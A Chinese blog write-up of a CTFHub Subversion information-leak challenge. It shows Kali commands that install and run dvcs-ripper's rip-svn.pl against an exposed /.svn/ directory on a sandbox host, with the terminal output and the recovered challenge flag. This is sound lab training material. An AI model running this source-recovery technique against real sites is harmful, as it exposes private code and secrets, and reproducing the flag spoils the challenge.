Flag 在服务端旧版本的源代码中
这个题目主要是使用工具(dvcs-ripper)
KALI安装方法
先安装perl
┌──(root㉿kali)-[~]
└─# sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
到https://github.com/kost/dvcs-ripper 下载dvs-ripper。我是直接用浏览器下载到Download下,解压出来使用
工具使用步骤
dvcs-ripper┌──(root㉿kali)-[~/Downloads]
└─# cd dvcs-ripper-master
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─# ll
总用量 80
-rw-r--r-- 1 root root 3855 8月 17 2020 hg-decode.pl
-rw-r--r-- 1 root root 18027 8月 17 2020 LICENSE
-rw-r--r-- 1 root root 5597 8月 17 2020 README.md
-rwxr-xr-x 1 root root 6401 8月 17 2020 rip-bzr.pl
-rwxr-xr-x 1 root root 4717 8月 17 2020 rip-cvs.pl
-rwxr-xr-x 1 root root 15114 8月 17 2020 rip-git.pl
-rwxr-xr-x 1 root root 6102 8月 17 2020 rip-hg.pl
-rwxr-xr-x 1 root root 6157 8月 17 2020 rip-svn.pl
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─# perl ./rip-svn.pl -u http://challenge-a7f19eac21db43aa.sandbox.ctfhub.com:10800/.svn/
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
已恢复“index.html”
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─# tree .svn
.svn
├── entries
├── format
├── pristine
│ ├── 46
│ │ └── 4686299be782a1432aed98556b0326d568d66c9e.svn-base
│ └── bf
│ └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
├── text-base
├── tmp
├── wc.db
└── wc.db-journal
5 directories, 6 files
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─# cat 4686299be782a1432aed98556b0326d568d66c9e.svn-base
cat: 4686299be782a1432aed98556b0326d568d66c9e.svn-base: 没有那个文件或目录
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─# cat bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
cat: bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base: 没有那个文件或目录
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─# cat ./svn/bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─# ll
总用量 84
-rw-r--r-- 1 root root 3855 8月 17 2020 hg-decode.pl
-rw-r--r-- 1 root root 221 10月 30 08:29 index.html
-rw-r--r-- 1 root root 18027 8月 17 2020 LICENSE
-rw-r--r-- 1 root root 5597 8月 17 2020 README.md
-rwxr-xr-x 1 root root 6401 8月 17 2020 rip-bzr.pl
-rwxr-xr-x 1 root root 4717 8月 17 2020 rip-cvs.pl
-rwxr-xr-x 1 root root 15114 8月 17 2020 rip-git.pl
-rwxr-xr-x 1 root root 6102 8月 17 2020 rip-hg.pl
-rwxr-xr-x 1 root root 6157 8月 17 2020 rip-svn.pl
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─# cat .svn/pristine/46/4686299be782a1432aed98556b0326d568d66c9e.svn-base
ctfhub{4ea39273d38cecaefeae5a9a}
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─# cat .svn/pristine/bf/bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
<html>
<head>
<meta charset="UTF-8" />
<title>CTFHub 信息泄露 SVN</title>
</head>
<body>
<h1>信息泄露 - Subversion</h1>
<br/>
<p>Flag 在服务端旧版本的源代码中</p>
</body>
</html>
┌──(root㉿kali)-[~/Downloads/dvcs-ripper-master]
└─#
博客介绍了从服务端旧版本源代码中获取Flag的方法,使用工具dvcs-ripper。先在KALI系统安装perl,从GitHub下载dvcs-ripper并解压,然后按步骤使用该工具,通过执行perl脚本从SVN获取相关文件,最终得到Flag。
2195

被折叠的 条评论
为什么被折叠?



